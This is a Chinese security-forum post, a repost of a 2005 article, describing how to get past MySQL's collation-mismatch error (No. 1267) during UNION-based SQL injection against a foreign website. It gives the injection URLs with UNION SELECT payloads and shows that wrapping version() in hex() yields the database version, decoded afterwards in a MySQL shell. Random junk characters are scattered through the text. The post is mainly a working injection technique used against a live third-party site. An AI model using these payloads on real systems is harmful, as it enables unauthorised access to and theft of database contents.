找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1824|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本文作者:SuperHei
7 n8 o8 Z/ ~* Q; }! N文章性质:原创) i: l- N$ l  `: \
发布日期:2005-10-18
6 X: H* R# Y# I/ r9 {测试个国外的站时:
# h0 o, S3 n$ B* Xurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*, d1 z$ G) O% [8 R0 f$ k, t3 _: d! i
返回错误:6 m4 a9 i& L) J. I6 b
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
7 E  h1 I0 J% L0 E- }* w4 `) L; xMySQL Error No. 126
6 l  Z/ ]% ~, Z) W; b! J2 h看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
+ \9 y$ E/ |+ E" [% u+ V/ v8 L解决办法:转为其他编码如hex。
7 g+ _5 i) c8 Y/ ~% c$ e- C$ E9 surl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
# W/ B; x6 f  H成功得到hex(version())的值为:
& X0 F2 A& G; w& F342E312E332D62657461
0 f  p0 ~# y  ]2 H回Mysql查询下得到:4 m- @6 `* y% [9 C
mysql> select 0x342E312E332D62657461;4 |0 w/ P; B" m/ ~3 G
+------------------------+' X2 S! v; ^, z  R0 z4 U5 \, m
| 0x342E312E332D62657461 |
* K" o/ K' M9 l3 O3 c* A+------------------------+% C& [& e% F! H
| 4.1.3-beta |4 V" f" _5 ^- d0 O
+------------------------+5 z( G4 E& z7 s* }- q% I& c. M
1 row in set (0.00 sec)
- v# @5 V9 L' o" c+ s, a& @! r# i4 X3 A8 i. D9 Y  Q+ v5 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表